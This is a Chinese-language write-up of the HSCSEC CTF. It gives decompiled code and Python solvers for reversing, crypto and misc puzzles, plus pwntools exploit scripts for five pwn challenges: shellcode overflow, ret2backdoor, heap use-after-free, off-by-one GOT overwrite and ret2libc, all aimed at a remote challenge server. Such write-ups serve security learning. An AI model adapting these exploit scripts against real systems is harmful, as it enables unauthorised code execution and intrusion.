比赛后有讲解,没赶上,前20比赛完1小时提交WP,谁会大半夜的起来写WP。
总的感觉pwn,crypto过于简单,rev有2个难的不会,其它不是我的方向都感觉过于难,一个都没作。
rev
DECOMPILEONEOONE
入门题,一个简单的运算
v6[0] = 0x5C797E8971697066LL;
v6[1] = 0x8D83497D7F6F7A3DLL;
v6[2] = 0x949DA8758277A9A5LL;
v7 = 0xB7954D7C;
*(_QWORD *)s = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0;
puts("give me your flag:");
__isoc99_scanf("%s", s);
if ( strlen(s) == 28 )
{
for ( i = 0; i <= 27; ++i )
{
s[i] += 3 * i + 1;
s[i] ^= (_BYTE)i + 1;
if ( (i & 1) != 0 )
v4 = s[i] - i - 1;
else
v4 = s[i] - i;
s[i] = v4;
if ( s[i] != *((_BYTE *)v6 + i) )
{
puts("that's a fake flag!\n");
return 0;
}
}
puts("congratulations!");
return 0;
}
换成python
from pwn import p64
v6 = p64(0x5C797E8971697066) + p64(0x8D83497D7F6F7A3D) + p64(0x949DA8758277A9A5) + p64(0xB7954D7C)
for i in range(28):
for s in range(0x20,0x7f):
v = s
v+=3*i+1
v^= i+1
v-=i + (i&1)
if v == v6[i]:
print(chr(s), end='')
#flag{reV3rSe_1s_sucH_hanD1e}
Whack-a-mole
这个有些难,到最后也没找到运算的逻辑。
先运行程序,是个windows窗口,里边有flag估计是点上就输出。但是点不上。
这是个啥也的程序不清楚,首先先找到入口。WinMain调用窗口执行pfnSubclass
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
unsigned int v4; // eax
WNDCLASSW WndClass; // [esp+10h] [ebp-48h] BYREF
struct tagMSG Msg; // [esp+38h] [ebp-20h] BYREF
v4 = time64(0);
srand(v4);
WndClass.style = 0;
WndClass.hIcon = 0;
*(_QWORD *)&WndClass.cbClsExtra = 0i64;
WndClass.lpszMenuName = 0;
WndClass.lpszClassName = L"revme";
WndClass.hInstance = hInstance;
WndClass.hbrBackground = GetSysColorBrush(15);
WndClass.lpfnWndProc = sub_401200;
WndClass.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
RegisterClassW(&WndClass);
CreateWindowExW(0, WndClass.lpszClassName, L"revme", 0x10CF0000u, 150, 150, 400, 300, 0, 0, hInstance, 0);
SetWindowSubclass(hWnd, pfnSubclass, 0x190u, 0);
while ( GetMessageW(&Msg, 0, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
return Msg.wParam;
}
在pfnSubclass里有个判断0x200,这里是按钮跳的控制。
RESULT __stdcall pfnSubclass(
HWND hWnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam,
UINT_PTR uIdSubclass,
DWORD_PTR dwRefData)
{
int v6; // edi
int v7; // eax
if ( uMsg == 512 )
{
v6 = rand() % 150 + 50;
v7 = rand();
SetWindowPos(::hWnd, 0, v6, v7 % 150 + 50, 80, 25, 0);
}
return DefSubclassProc(hWnd, uMsg, wParam, lParam);
}
把这里的判断改掉让他不跳,点中后报错
"Oops,no flag...plz look carefully:("
拿到这个报错找到处理逻辑
LRESULT __stdcall sub_401200(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
HWND v4; // ebx
LPARAM v5; // edi
_DWORD *v6; // ebx
char *v7; // ecx
char *v8; // edi
int v9; // eax
_BYTE *v10; // esi
int v11; // ecx
_BYTE *v12; // ecx
int v13; // edx
_DWORD *v14; // ecx
int v15; // ebx
int v16; // edx
char v17; // al
bool v18; // zf
char *v19; // eax
_DWORD *v20; // edi
char *v21; // ebx
int v22; // edx
int v23; // esi
int v24; // ecx
char *v25; // esi
int v26; // edi
char *v27; // esi
FILE *v28; // eax
FILE *v29; // edi
LONG WindowLongW; // eax
int v32; // [esp+Ch] [ebp-10h]
int v33; // [esp+Ch] [ebp-10h]
char *v34; // [esp+10h] [ebp-Ch]
char *v35; // [esp+14h] [ebp-8h]
const char *v36; // [esp+18h] [ebp-4h]
v4 = hWnd;
v5 = lParam;
if ( Msg == 1 )
{
::hWnd = CreateWindowExW(0, L"Button", L"flag", 0x50000000u, 85, 150, 80, 25, hWnd, (HMENU)3, 0, 0);
CreateWindowExW(0, L"Button", L"give up", 0x50000000u, 185, 150, 80, 25, hWnd, (HMENU)2, 0, 0);
CreateWindowExW(0, L"Static", (LPCWSTR)"t", 0x50000000u, 85, 100, 300, 20, hWnd, (HMENU)1, 0, 0);
WindowLongW = GetWindowLongW(hWnd, -16);
SetWindowLongW(hWnd, -16, WindowLongW & 0xFFFEFFFF);
return DefWindowProcW(v4, Msg, wParam, v5);
}
if ( Msg == 2 )
goto LABEL_23;
if ( Msg != 273 )
return DefWindowProcW(v4, Msg, wParam, v5);
if ( (unsigned __int16)wParam == 2 )
{
LABEL_23:
PostQuitMessage(0);
return DefWindowProcW(v4, Msg, wParam, v5);
}
if ( (unsigned __int16)wParam == 3 )
{
if ( lParam == 3301 )
{
v6 = &unk_405390;
v36 = "7dnaicms7skf0ws2t";
v7 = "7skf0ws2t";
v34 = (char *)&unk_405390;
v35 = "7skf0ws2t";
v8 = byte_403170;
v32 = 9;
do
{
v9 = *(_DWORD *)v7;
v10 = v6;
v6[1] = *((_DWORD *)v7 + 1);
v11 = 8;
*v6 = v9;
do
{
*v10 = byte_403170[(unsigned __int8)*v10];
++v10;
--v11;
}
while ( v11 );
sub_401110(v6);
v12 = v6;
v13 = 8;
do
{
*v12++ ^= *v8++;
--v13;
}
while ( v13 );
v14 = v6;
v15 = v36 - (const char *)v6;
v16 = 8;
do
{
v17 = *((_BYTE *)v14 + v15);
v14 = (_DWORD *)((char *)v14 + 1);
*((_BYTE *)v14 - 1) ^= v17;
--v16;
}
while ( v16 );
v18 = v32-- == 1;
v7 = v34;
v19 = v35;
v35 = v34;
v6 = v10;
v36 = v19;
v34 = v10;
}
while ( !v18 );
v20 = &unk_405390;
v33 = 4;
v21 = (char *)&unk_4053D0;
do
{
v18 = v33-- == 1;
v20 += 2;
v22 = *(v20 - 2);
v21 -= 8;
v23 = *(v20 - 1);
v24 = *((_DWORD *)v21 + 3);
*(v20 - 2) = *((_DWORD *)v21 + 2);
*(v20 - 1) = v24;
*((_DWORD *)v21 + 2) = v22;
*((_DWORD *)v21 + 3) = v23;
}
while ( !v18 );
v25 = (char *)&unk_405398;
v26 = 7;
do
{
sub_401110(v25);
v25 += 8;
--v26;
}
while ( v26 );
sub_401050(&Source);
sub_401050(&unk_405020);
v27 = (char *)malloc(0x10u);
strncpy(v27, &Source, 0x10u);
MessageBoxW(hWnd, L"flag already saved to aaa.txt", L"GOOD JOB!!", 0);
v28 = fopen("aaa.txt", L"w");
v29 = v28;
if ( !v28 )
{
MessageBoxW(hWnd, L"open file error", L"Error", 0);
free(v27);
exit(-1);
}
fwrite(v27, 1u, 0x10u, v28);
fclose(v29);
free(v27);
v4 = hWnd;
v5 = 3301;
}
else
{
MessageBoxW(hWnd, L"Oops,no flag...plz look carefully:(", L"Error", 0);
}
}
return DefWindowProcW(v4, Msg, wParam, v5);
}
这里边有两个判断
第1个是49行的msg !=273 退出
第2个是59行的lParam == 3301 进入写flag
所以在这里patch一下程序,这里的200改为111
.text:004014C3 81 7D 0C 00 02 00 00 cmp [ebp+uMsg], 200h
这里 74 (jz)改为75 (jnz) 让if反转
.text:0040124D 74 18 jz short loc_401267
然后运行程序会写flag.txt文件,不过这题有点特殊其它的都是用HSCSEC壳,这个用flag
w1n32_aPi_iS_FUn
flag{w1n32_aPi_iS_FUn}
Base secrets
估计又是C++啥的程序写的,变量巨长,视觉上增加难度。
void __noreturn base64::main::h8d09d41539d521ef()
{
int v0; // eax
_str v1; // rax
core::result::Result<usize,std::io::error::Error> v2; // [esp+0h] [ebp-D0h]
___str_ v3; // [esp+4h] [ebp-CCh]
___str_ v4; // [esp+4h] [ebp-CCh]
___str_ v5; // [esp+4h] [ebp-CCh]
__core::fmt::ArgumentV1_ v6; // [esp+Ch] [ebp-C4h]
__core::fmt::ArgumentV1_ v7; // [esp+Ch] [ebp-C4h]
__core::fmt::ArgumentV1_ v8; // [esp+Ch] [ebp-C4h]
core::fmt::Arguments v9; // [esp+3Ch] [ebp-94h] BYREF
__core::fmt::ArgumentV1_ args; // [esp+54h] [ebp-7Ch] BYREF
alloc::string::String inputstr; // [esp+5Ch] [ebp-74h] BYREF
_str secret; // [esp+68h] [ebp-68h] BYREF
char v13; // [esp+70h] [ebp-60h] BYREF
int v14; // [esp+78h] [ebp-58h]
alloc::string::String tstr; // [esp+7Ch] [ebp-54h] BYREF
core::fmt::Arguments v16; // [esp+88h] [ebp-48h] BYREF
core::fmt::ArgumentV1 v17; // [esp+A0h] [ebp-30h] BYREF
core::fmt::Arguments v18; // [esp+A8h] [ebp-28h] BYREF
core::fmt::ArgumentV1 v19; // [esp+C0h] [ebp-10h] BYREF
args = (__core::fmt::ArgumentV1_)core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&x);
v3.data_ptr = (_str *)&pieces;
v3.length = 2;
v6.data_ptr = (core::fmt::ArgumentV1 *)&args;
v6.length = 1;
core::fmt::Arguments::new_v1::h798f53dc69339845(&v9, v3, v6);
std::io::stdio::_print::hf063fbe3e71516fe();
alloc::string::String::new::h007ebff4f83ba4cc(&inputstr);
secret.data_ptr = (u8 *)"hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo= 1K";// base64的密文44字节
secret.length = 44;
std::io::stdio::stdin::h732159ffb928152a();
v14 = v0;
std::io::stdio::Stdin::read_line::h5c0cf1c7e8922086();
*(_DWORD *)v2.gap0 = &v13;
*(_DWORD *)&v2.gap0[4] = 4928728;
core::result::Result$LT$T$C$E$GT$::unwrap::h5a9311bcc8369470(v2);
v1 = _$LT$alloc..string..String$u20$as$u20$core..ops..deref..Deref$GT$::deref::h5b5b76767b35bbdc(&inputstr);
base64::base64_encode::h366e735ee236a687(&tstr, v1);// base64编码
if ( !_$LT$alloc..string..String$u20$as$u20$core..cmp..PartialEq$LT$$RF$str$GT$$GT$::eq::h68fb5c598021c6a9(
&tstr,
&secret) )
{
v19 = core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&off_4B3540);
v8.data_ptr = &v19;
v8.length = 1;
v5.length = 2;
v5.data_ptr = (_str *)&pieces;
core::fmt::Arguments::new_v1::h798f53dc69339845(&v18, v5, v8);
std::io::stdio::_print::hf063fbe3e71516fe();
std::process::exit::h86e1d779ebfe0c3e();
}
v17 = core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&off_4B350C);
v7.data_ptr = &v17;
v7.length = 1;
v4.length = 2;
v4.data_ptr = (_str *)&pieces;
core::fmt::Arguments::new_v1::h798f53dc69339845(&v16, v4, v7);
std::io::stdio::_print::hf063fbe3e71516fe();
std::process::exit::h86e1d779ebfe0c3e();
}
主程序里看到两个东西:
secret.data_ptr = (u8 *)"hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo= 1K";
这个应该是密文
base64::base64_encode::h366e735ee236a687(&tstr, v1);// base64编码
这个写着是base64估计就大概是base64变表,进到里边发现几个查表语句
memcpy(v37, &::self, sizeof(v37)); // &::self 码表
然后点到::self看下码表,果然是变表。
code = '456789+-IJKLMNOPQRSTUVWXghijklmnYZabcdefopqrstuvwxyz0123ABCDEFGH='
b64code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
c = "hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=" # ' 1K'
from base64 import *
m = ''.join(b64code[code.index(v)] for v in c)
print(b64decode(m))
#flag{rUs7_n0_pr0b1EM_s0_yisey}
后边两个都无从下手,等官方的WP,官方说有。都一天了,估计还在写。
PWN
EZPWN
入门题,main调用了hacker,在hacker里调用mprotect将内存修改为可写可执行。然后有个写溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
hacker();
return 0;
}
__int64 hacker()
{
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
void *addr; // [rsp+100h] [rbp-10h]
int v3; // [rsp+10Ch] [rbp-4h]
v3 = getpagesize();
addr = (void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL);
mprotect((void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL), v3, 7);
puts("input:");
read(0, buf, 0x200uLL);
strncpy(buf2, buf, 0x64uLL);
printf("bye bye ~");
return 0LL;
}
先把shellcode放在前边,后边利用溢出作个跳转。
from pwn import *
p = remote('43.143.254.94', 10176)
#p = process('EZPWN')
context(arch='amd64', log_level='debug')
pay = asm(shellcraft.amd64.linux.sh()).ljust(0x110, b'\x90')+ flat(0x404800, 0x404080)
#p.sendlineafter(b"input:", pay)
p.sendline(pay)
p.interactive()
#HSCSEC{71d13c5a-5102-4944-aa5c-7e6f23c264fd}
Morris II
有菜单但不是菜单题,程序很长长长长。硬着头皮看。
int __cdecl select_main()
{
int iselect; // [rsp+Ch] [rbp-4h] BYREF
puts(a0GoOut);
printf(aChooseAnAction);
__isoc99_scanf(&unk_402103, &iselect); // %d
while ( 1 )
{
switch ( iselect )
{
case 0:
find_enemies(); // confirm_input(); 有溢出,溢出到后门
break;
case 1:
dined();
break;
case 2:
shop(); // shop
break;
case 3:
work(); // 随机-degree +coin
break;
case 4:
attribute(); // 显示
break;
default:
continue;
}
}
}
void __cdecl fight_system()
{
unsigned int v0; // eax
int select; // [rsp+1Ch] [rbp-14h] BYREF
int Player_fight; // [rsp+20h] [rbp-10h]
int s; // [rsp+24h] [rbp-Ch]
int w; // [rsp+28h] [rbp-8h]
int Enemies_blood; // [rsp+2Ch] [rbp-4h]
v0 = time(0LL);
srand(v0);
w = rand() % 3;
s = rand() % 10;
Player_fight = player_fight;
Enemies_blood = enemies_blood[s];
puts("\n******************************entered battle mode***************************************");
printf(format, (unsigned int)player_blood);
while ( player_blood > 0 && Enemies_blood > 0 && player_degree_of_hunger > 30 )
{
confirm_input(); // 有溢出
......
}
int __cdecl confirm_input()
{
char hero_name[16]; // [rsp+0h] [rbp-10h] BYREF
puts("\ntype yor hero's name!:");
read(0, hero_name, 0x64uLL);
puts("confirmed.");
return 0;
}
int __cdecl dontlookatme()
{
system("/bin/sh");
return 0;
}
发现第1个菜单处有溢出,而且有后门函数,这就简单了。其实有溢出,有没有后门都好办。
from pwn import *
#p = process('Morris_II')
p = remote('43.143.254.94', 10365)
context(arch='amd64', log_level= 'debug')
p.sendlineafter(b'choose an action from below\xef\xbc\x9a', b'0')
#ret + dontlookatme()
p.sendlineafter(b"type yor hero's name!:\n", b'\x00'*0x18 + flat(0x401d04, 0x401236))
p.interactive()
#HSCSEC{48cc6864-8ab7-48a5-9075-92b09a69bb3e}
EasyHeap
回到菜单题了。很标准的菜单,在free没有清指针有UAF,并且有后门。
void __cdecl __noreturn main(int a1)
{
int v1; // [esp+0h] [ebp-14h]
char s[4]; // [esp+4h] [ebp-10h] BYREF
unsigned int v3; // [esp+8h] [ebp-Ch]
int *v4; // [esp+Ch] [ebp-8h]
v4 = &a1;
v3 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
sub_80495E8();
memset(s, 0, sizeof(s));
read(0, s, 4u);
v1 = atoi(s);
if ( v1 != 1 )
break;
m1_add();
}
if ( v1 == 2 )
{
m2_free(); // UAF
}
else if ( v1 == 3 )
{
m3_show();
}
else
{
if ( v1 == 4 )
exit(-1);
puts("Invalid option.");
}
}
}
unsigned int m2_free()
{
unsigned int result; // eax
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Note id: ");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804C060 )
{
puts("Invalid id!");
_exit(-1);
}
if ( dword_804C04C[v1] )
{
free(*(void **)(dword_804C04C[v1] + 4));
free((void *)dword_804C04C[v1]); //没有清指针
puts("Deleted!");
}
result = v3 - __readgsdword(0x14u);
if ( result )
sub_8049790();
return result;
}
块包含管理块和数据块,管理块有调用puts的函数指针和指向数据块的指针。
先建两个比8大的块,两个管理块是8,free后再建大小为8的块,这样数据块会使用0块的管理块,达到写管理块指针的目的。由于这里有后门,直接写后门就行。不然还有一点小麻烦,因为指针是自己还不是+4,所以这个还需要绕过。
from pwn import *
#p = process('./easyHeap')
p = remote('43.143.254.94', 10044)
context(arch='i386', log_level='debug')
def add(size,msg):
p.sendlineafter(b"Input Option: ", b'1')
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Content: ", msg)
def free(idx):
p.sendlineafter(b"Input Option: ", b'2')
p.sendlineafter(b"Note id: ", str(idx).encode())
def show(idx):
p.sendlineafter(b"Input Option: ", b'3')
p.sendlineafter(b"Note id: ", str(idx).encode())
add(0x10,b'A') #0
add(0x20,b'A') #1
free(0)
free(1)
add(0x8, flat(0x80495bd)) #到后门 system('cat /flag')
show(0)
p.interactive()
Dead Star Weapon Management System
这名字为什么起了这么长。
第2个菜单题,漏洞在edit这里修改的长度多了1
unsigned __int64 m3_change()
{
unsigned int v0; // eax
signed int v1; // ebx
char buf[4]; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
puts("weapon index:");
read(0, buf, 4uLL);
v0 = strtol(buf, 0LL, 10);
if ( v0 > 4 )
{
puts("[!]index malform.");
_exit(0);
}
v1 = v0;
if ( *(&ptr + (int)v0) )
{
puts("your additional info:");
read_n(*((void **)*(&ptr + v1) + 1), *(_QWORD *)*(&ptr + v1) + 1LL);// 参2长度,溢出
puts("weapon changed.");
}
else
{
puts("[!]weapon not found.!");
}
return __readfsqword(0x28u) ^ v4;
}
块结构跟上一题类似,管理块有size和ptr指向数据块
在edit里会允许多写1字节。通过这个溢出可以修改下一块的长度,改大,当下一块free后会再建会形成重叠,达到修改指针目的。
先造一个这样的结构,
先建0x18的0和1,将1free在得到两个20的fastbin,再建0x28的1,2让1,2的头连在一起,这里利用漏洞修改head1的大小,然后将1释放,释放的块包含块2的头,再建1,大小为0x38的块就能用后部覆盖2块的头。
将2的头ptr改为指向got表,show(2)得到libc地址,再将got.free改为指向system
from pwn import *
#p = process('./deathstar_admin')
p = remote('43.143.254.94', 10689)
elf = ELF('./deathstar_admin')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu10-amd64/libc6_2.23-0ubuntu10_amd64.so')
context(arch='amd64', log_level='debug')
def add(size,msg):
p.sendlineafter(b"[?]choose an action:\n" ,b'1')
p.sendlineafter(b"weapon length:\n", str(size).encode())
p.sendafter(b"weapon detail:\n", msg)
def show(idx):
p.sendlineafter(b"[?]choose an action:\n" ,b'2')
p.sendlineafter(b"weapon index:\n", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(b"[?]choose an action:\n" ,b'3')
p.sendlineafter(b"weapon index:\n", str(idx).encode())
p.sendafter(b"your additional info:\n", msg) #off_by_one
def free(idx):
p.sendlineafter(b"[?]choose an action:\n" ,b'4')
p.sendlineafter(b"weapon index:\n", str(idx).encode())
add(0x18,b'A')
add(0x18,b'A') #1
free(1)
add(0x28,b'B') #1
add(0x28,b'C') #2 save
edit(0, b'A'*(0x18+1)) #size改为 0x41
free(1)
add(0x38, b'/bin/sh\x00'+b'A'*0x10 + flat(0x21, 8, elf.got['free'])) #1head+2head
show(2)
p.recvuntil(b'info:')
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']
print('libc:', hex(libc.address))
edit(2, p64(libc.sym['system']))
free(1)
p.interactive()
#HSCSEC{4bf9597e-e58b-4485-99f9-71d05c0f5d8a}
Safe Program
最后一个pwn,感觉这题个头太小。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4[9]; // [rsp+0h] [rbp-50h] BYREF
__int16 v5; // [rsp+48h] [rbp-8h]
char v6; // [rsp+4Ah] [rbp-6h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(v4, 0, sizeof(v4));
v5 = 0;
v6 = 0;
puts("i am a simple repeater with no way to exploit.\n");
puts("you can talk to me now:\n");
sub_4011D6(v4);
return 0LL;
}
ssize_t __fastcall sub_4011D6(void *a1)
{
char buf[127]; // [rsp+10h] [rbp-80h] BYREF
char v3; // [rsp+8Fh] [rbp-1h]
sleep(3u);
v3 = 0;
setbuf(stdin, buf);
memcpy(a1, buf, v3);
return read(0, buf, 0x16DuLL);
}
就是一个溢出,别的什么都没有。
from pwn import *
#p = process('./Safe_Program')
p = remote('43.143.254.94', 10972)
context(arch='amd64', log_level= 'debug')
elf = ELF('./Safe_Program')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
pop_rdi = 0x0000000000401393 # pop rdi ; ret
bss = 0x404800
sleep(3)
p.sendafter(b"you can talk to me now:\n\n", flat(b'\x00'*0x80,bss, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x4011d6))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
p.send(flat(b'\x00'*0x80,bss, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'], 0x4011d6))
p.interactive()
Ancient-MISC
两个MISC其实都不会,赛后看了群里说的WP,感觉有点意思,在这里存一下。
Deduced gossip
第一题是八卦,但群里说是九宫八卦,脑子没转到那。这是洛书九宫与八卦的对应图
这样把给的东西转码就是9进制(1转为0,... 9转成8)
原题
☲☵ ☷☵☳ ☶空 ☷☵☳ ☶☱ ☶空 ☷空☱ ☶空 ☷☳☰ ☷☳☱ ☷☴☳ ☷☳☳ ☷☴☶ ☷☳☳ ☷☷☰ ☷☳空 ☰☴ ☷☴☶ ☷☴☶ ☷☴空 ☷空☲
转码程序,刚开始不知道对应关系,用flag头猜的,最后乾和巽猜一下也行。
def k9(n):
k=''
while n>0:
k=str(n%9)+k
n//=9
return k
for v in b'HSCSEC{}':
print(str(k9(v)), end=',')
#80,102,74,102,76,74,146,148,
a = "80,102,74,102,76,74,146,74,125,126,132,122,137,122,115,124,53,137,137,134,148"
print(''.join([chr(int(v,9)) for v in a.split(',')]))
#HSCSEC{Chinese_g0ssp}
#HSCSEC{Chinese_g0ssip} 提交加i
Watch the sky at night
第二个以为是28进制,怎么也没转出来。后来WP说是4进制,恍然大悟。东西南北四方七宿各为一个数字就成了4进制,4个正好是一个字符。
斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐
今天这是咋了,写一点菜单就没了。发布好几次。4个符号对应哪个数字再爆破。通过头也可以定。
a = '''
斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐'''
#应为 壁水獝
dic = {
'E':['角木蛟','亢金龙','氐土貉','房日兔','心月狐','尾火虎','箕水豹'],
'S':['井木犴','鬼金羊','柳土獐','星日马','张月鹿','翼火蛇','轸水蚓'],
'W':['奎木狼','娄金狗','胃土雉','昴日鸡','毕月乌','觜火猴','参水猿'],
'N':['斗木獬','牛金牛','女土蝠','虚日鼠','危月燕','室火猪','壁水貐']}
f = ''
a = a.replace('\r\n','').replace(' ','').replace('\n','')
for i in range(0,len(a),3):
v = a[i:i+3]
for j in dic:
if v in dic[j]:
f+=j
from itertools import permutations
num = '0123'
for v in permutations(num,4):
tmp = f.replace('N',v[0]).replace('S',v[1]).replace('W',v[2]).replace('E',v[3])
flag = ''.join([chr(int(tmp[m:m+4], 4)) for m in range(0,len(tmp),4)])
if 'HSCSEC{' in flag:
print(flag)
#HSCSEC{CN_Ancient_AP}
Crypto
EZRSA
这个就都比较简单了。
from flag import m
p = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =',n)
e = 0x10001
M = m * e * 1 * 2022 * p
c = pow(M,e,n)
print('c =',c)
显然M有因子p,n也有 c = M^e - kn 所以c 也有,gcd(c,n)就能得到p,由于m一般很小m*2022*e*p不会大于n,所以后边就直接除。
from Crypto.Util.number import *
from math import gcd
import gmpy2
e = 0x10001
n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
p = gcd(c,n)
q = n//p
d = gmpy2.invert(e, (p-1)*(q-1))
M = pow(c,d,n)
m = M//2022//e//p
flag = long_to_bytes(m)
print(flag)
#flag{3e5e2789a93a80615cc35edbff397c05}
#HSCSEC{3e5e2789a93a80615cc35edbff397c05}
Operator
这题没弄清楚出题是什么意思,就是个除法,直接除
#!/bin/python3
from Crypto.Util.number import bytes_to_long, getPrime
FLAG = "*******************MASK****************"
# print(FLAG)
number1 = getPrime(512)
number2 = getPrime(1024)
print(number1)
result = FLAG * number1 % number2
print(result)
Output:
n1 = 11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
res = 1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771
bytes.fromhex(hex(res//n1)[2:])
#flag{qMmZqWvmj70bBsCfmVLT}
#HSCSEC{qMmZqWvmj70bBsCfmVLT}
EZVC
感觉回到逆向了。明显都是逆向的内容。正好晚上打算睡觉的时候上的新题,直接弄个一血,然后睡个好觉。
import flag
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
key = 'HSC'
assert flag.startswith('HSCSEC{')
flag_num_list = []
c = []
for item in flag:
flag_num_list.append(alphabet.find(item) + 1)
key_num = alphabet.find(key) + 1 #0
for i in flag_num_list:
m = (i + key_num) % 94 - 1
if m == 0:
c.append("□") #e2 96 a1 0x25a1
c.append(alphabet[m-1:m])
print("c = {}".format(''.join(c)))
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
c = 'GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|'
f1 = [alphabet.find(v)+1 for v in c]
f2 = [v+1-i for i,v in enumerate(f1)]
f3 = [alphabet[v-1] for v in f2]
f4 = [alphabet[(alphabet.find(v)+i)%94] for i,v in enumerate(f3)]
print(''.join(f4))
#HSCSEC{kh21jk3h12j-h312hj-3hj3-123jhbjhbhj}